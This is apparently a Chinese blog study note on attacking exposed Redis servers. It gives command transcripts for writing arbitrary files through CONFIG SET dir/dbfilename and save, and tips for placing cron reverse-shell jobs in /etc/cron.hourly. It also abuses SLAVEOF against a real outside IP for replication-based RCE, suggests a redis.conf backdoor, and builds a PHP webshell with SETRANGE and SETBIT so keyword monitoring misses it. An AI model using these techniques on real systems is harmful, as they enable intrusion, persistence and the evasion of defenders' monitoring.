• redis攻击篇redis写文件


      个人学习笔记1:

      主题:redis写文件:

      大量知识参考:http://redisdoc.com/

      查看redis所有配置选项

    config get *

      

    127.0.0.1:6379> CONFIG GET *
      1) "dbfilename"
      2) "dump.rdb"
      3) "requirepass"
      4) ""
      5) "masterauth"
      6) ""
      7) "unixsocket"
      8) ""
      9) "logfile"
     10) ""
     11) "pidfile"
     12) ""
     13) "slave-announce-ip"
     14) ""
     15) "maxmemory"
     16) "0"
     17) "maxmemory-samples"
     18) "5"
     19) "timeout"
     20) "0"
     21) "auto-aof-rewrite-percentage"
     22) "100"
     23) "auto-aof-rewrite-min-size"
     24) "67108864"
     25) "hash-max-ziplist-entries"
     26) "512"
     27) "hash-max-ziplist-value"
     28) "64"
     29) "list-max-ziplist-size"
     30) "-2"
     31) "list-compress-depth"
     32) "0"
     33) "set-max-intset-entries"
     34) "512"
     35) "zset-max-ziplist-entries"
     36) "128"
     37) "zset-max-ziplist-value"
     38) "64"
     39) "hll-sparse-max-bytes"
     40) "3000"
     41) "lua-time-limit"
     42) "5000"
     43) "slowlog-log-slower-than"
     44) "10000"
     45) "latency-monitor-threshold"
     46) "0"
     47) "slowlog-max-len"
     48) "128"
     49) "port"
     50) "6379"
     51) "tcp-backlog"
     52) "511"
     53) "databases"
     54) "16"
     55) "repl-ping-slave-period"
     56) "10"
     57) "repl-timeout"
     58) "60"
     59) "repl-backlog-size"
     60) "1048576"
     61) "repl-backlog-ttl"
     62) "3600"
     63) "maxclients"
     64) "10000"
     65) "watchdog-period"
     66) "0"
     67) "slave-priority"
     68) "100"
     69) "slave-announce-port"
     70) "0"
     71) "min-slaves-to-write"
     72) "0"
     73) "min-slaves-max-lag"
     74) "10"
     75) "hz"
     76) "10"
     77) "cluster-node-timeout"
     78) "15000"
     79) "cluster-migration-barrier"
     80) "1"
     81) "cluster-slave-validity-factor"
     82) "10"
     83) "repl-diskless-sync-delay"
     84) "5"
     85) "tcp-keepalive"
     86) "300"
     87) "cluster-require-full-coverage"
     88) "yes"
     89) "no-appendfsync-on-rewrite"
     90) "no"
     91) "slave-serve-stale-data"
     92) "yes"
     93) "slave-read-only"
     94) "yes"
     95) "stop-writes-on-bgsave-error"
     96) "yes"
     97) "daemonize"
     98) "no"
     99) "rdbcompression"
    100) "yes"
    101) "rdbchecksum"
    102) "yes"
    103) "activerehashing"
    104) "yes"
    105) "protected-mode"
    106) "yes"
    107) "repl-disable-tcp-nodelay"
    108) "no"
    109) "repl-diskless-sync"
    110) "no"
    111) "aof-rewrite-incremental-fsync"
    112) "yes"
    113) "aof-load-truncated"
    114) "yes"
    115) "maxmemory-policy"
    116) "noeviction"
    117) "loglevel"
    118) "notice"
    119) "supervised"
    120) "no"
    121) "appendfsync"
    122) "everysec"
    123) "syslog-facility"
    124) "local0"
    125) "appendonly"
    126) "no"
    127) "dir"
    128) "/Users/qixin01/Downloads/redis-3.2.9/src"
    129) "save"
    130) "3600 1 300 100 60 10000"
    131) "client-output-buffer-limit"
    132) "normal 0 0 0 slave 268435456 67108864 60 pubsub 33554432 8388608 60"
    133) "unixsocketperm"
    134) "0"
    135) "slaveof"
    136) ""
    137) "notify-keyspace-events"
    138) ""
    139) "bind"
    140) ""

      

      这边查看一共发现有140/2项

      redis配置选项详解:

      https://www.cnblogs.com/AlanLee/p/5924783.html

      redis写文件注意点:

      常规的:写计划任务,写ssh公钥

      发现依赖了选项1和选项127,我们涉及到写文件离不开dir和dbfilename:

      常规的不想提了,如ssh公钥和写计划任务

      说点小技巧:

      (1)关于dir选项:

      dir声明目录支持../跳目录:

      

    127.0.0.1:6379> CONFIG SET dir /Users/**/Desktop/log4jScan/../
    OK
    127.0.0.1:6379> CONFIG SET dbfilename redis_test2
    OK
    127.0.0.1:6379> set payload "hello"
    OK
    127.0.0.1:6379> save
    OK

      

       

      查看文件:

      

      

      写文件发现,查看文件的时候:

      发现有个前缀标识符:redis-bits?@?ctime,因为官方说明save,默认保存的是rdb文件,redis-bits?@?ctime就是rdb标识符,实战可以把它看成脏数据

        

      

      (2)不要轻易尝试计划任务写bash反弹:

      计划任务bash反弹是存在安全风险的

      如下图所示:

      

       

      如果尝试以这种方法写bash反弹,会导致覆盖原来有的crontab计划任务,大家可以本地测试下就知道了

      极其不推荐直接写到/var/spool/cron,一旦运维在crontab中配置了一些脚本启动,盲目的覆盖,会对业务产生极大的破坏

      正确的做法是:选择一个开发不常用的计划任务:

      以centos7为例子:

      

       

      对应的含义如下:每天/每日/每小时/每月/每周

      可以写文件到/etc/cron.hourly/

      可以覆盖0anacron文件 or 创建一个可执行的sh文件

      覆盖0anacron,正常情况下,没人会在这里写计划任务,可以覆盖它:

      

       创建可执行sh文件:如下所示:

      

       这样就不会覆盖文件,比较保险

      

      (3)redis 4.x/5.x ,redis 3.x不受影响 主从复制shell 选项(135) slaveof

      主从复制优点:外部加载模块,可以落地无损文件,而不会有所谓的”脏数据”

      redis module load是新特性,redis 3.x不存在

      主从复制尽量保持redis版本一致:

      什么是主从复制?

    主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
    redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。

      利用攻击:

      

    127.0.0.1:6379> SLAVEOF 119.45.227.86 6379
    127.0.0.1:6379> CONFIG GET slaveof
    1) "slaveof"
    2) "119.45.227.86 6379"
    127.0.0.1:6379> get b
    "123"
    127.0.0.1:6379>

      

      同步给119.45.227.86:6379,保证6379开启

      

    119.45.227.86:6379 客户端配置:
    127.0.0.1:6379> CONFIG SET protected-mode no
    OK

      远程在119.45.227.86:6379上操作:

      

    127.0.0.1:6379> CONFIG SET protected-mode no
    OK
    127.0.0.1:6379> set ddd 123
    OK
    127.0.0.1:6379>

      

       本地127.0.0.1:6379客户端查看是否同步成功:

      

    127.0.0.1:6379> get b
    "123"
    127.0.0.1:6379> get ddd
    "123"
    127.0.0.1:6379> get ddd
    "123"

      

       

      利用rce:https://paper.seebug.org/975/

      linux就是加载so模块

      windows就是加载dll模块

      (4)还可以写文件到哪里?

      除了ssh公钥/计划任务/网站绝对路径

      1.覆盖写redis.conf中的配置选项,在管理员下次重启的时候生效,当作隐藏后门文件

      .......

     

      redis 隐蔽写文件bypass 敏感词监控研究:

      需求如下:

      需求:替换a为b

      方法(1)redis setrange:

      

      

      

    127.0.0.1:6379> set name a
    OK
    127.0.0.1:6379> get name
    "a"
    127.0.0.1:6379> SETRANGE name 0 b
    (integer) 1
    127.0.0.1:6379> get name
    "b"

      redis写shell 敏感/特殊词监控 bypass:

      

    127.0.0.1:6379> set shell "<?> phpinfx();?>"
    OK
    127.0.0.1:6379> SETRANGE shell 2 "php p"
    (integer) 16
    127.0.0.1:6379> get shell
    "<?php pinfx();?>"
    127.0.0.1:6379> SETRANGE shell 6 "phpinfo();"
    (integer) 16
    127.0.0.1:6379> get shell
    "<?php phpinfo();"
    127.0.0.1:6379> SETRANGE shell 15 ";?>"
    (integer) 18
    127.0.0.1:6379> get shell
    "<?php phpinfo();?>"
    127.0.0.1:6379>

      

      这种是比较简单的,但是不够隐蔽,使用redis自带的语句监控MOITIOR命令还是可以明显很看出来:

      monitor命令解释:实时打印出 Redis 服务器接收到的命令,调试用

      

      

      

      

      更隐蔽的替换方法:

      方法2:redis setbit命令:

      先从修改a为b开始:

      setbit的使用比setrange复杂的多,先了解前置知识:

      ascii码表:

      http://c.biancheng.net/c/ascii/

      想要把a替换成b:

      怎么做?

      查询ascii码表,寻找a和b的对应的ascii 十进制:

      a=ascii 97

      b=ascii 98

       

      

      十进制转换二进制:https://tool.lu/hexconvert/

      ascii 97=01100001 = a

      ascii 98=01100010 = b

      如果想把a修改成b,对比发现两个值之间只有第六个位置和第七个位置不一样,所以我们只要修改第六个位置的0改成1,把第七个位置的1改成0,初始值键从0开始:

       

    127.0.0.1:6379> set name a
    OK
    127.0.0.1:6379> SETBIT name 6 1
    (integer) 0
    127.0.0.1:6379> SETBIT name 7 0
    (integer) 1
    127.0.0.1:6379> get name
    "b"
    127.0.0.1:6379>

      

      

      这样修改内容,就比方法1更隐蔽

      如果是是多个字符串,怎么修改其中某个值?

      例子如下:

        

        

        

    修改tett为test:
    
    怎么做?
    步骤如下:
    
    (1)tett依次转换成ascii码表
    
    t=116
    
    e=101
    
    t=116
    
    t=116
    
    (2)test依次抓换成ascii码表
    
    t=116
    
    e=101
    
    s=115
    
    t=116
    
    (3)tett ascii码 十进制依次转换成2进制:
    
    t=116=01110100
    
    e=101=01100101
    
    t=116=01110100
    
    t=116=01110100
    
    (4)test ascii码 十进制依次转换成2进制:
    
    t=116=01110100
    
    e=101=01100101
    
    s=115=01110011
    
    t=116=01110100
    
    最后对比(3)和(4)即可:
    
    合并:
    
    (3):01110100011001010111010001110100
    
    (4):01110100011001010111001101110100
    
    目前是(3)就是tett,变成test:
    
    对比从0位置开始数:

      

       

    127.0.0.1:6379> set name "tett"
    OK
    127.0.0.1:6379> SETBIT name 21 0
    (integer) 1
    127.0.0.1:6379> SETBIT name 22 1
    (integer) 0
    127.0.0.1:6379> SETBIT name 23 1
    (integer) 0
    127.0.0.1:6379> get name
    "test"
    127.0.0.1:6379>

      

      查看语句监控:

       

       

      隐蔽性很强,不能直接看到关键字

      

    参考资料:

    (1)https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247484020&idx=1&sn=06db219408f093c65d252c506ad502df

    (2)http://redisdoc.com/

  • 相关阅读:
    Git使用教程与基本原理和Sourcetree基本使用探微
    微博开发笔记上(未完待续)
    Swift入门
    刀哥之指纹识别biometrics
    iOS面试关于http知识点basic-01-http
    SDWebImageInfo
    runloop
    NSOperation类
    java多线程
    java集合类(二)
  • 原文地址:https://www.cnblogs.com/piaomiaohongchen/p/15892170.html
Copyright © 2020-2023  润新知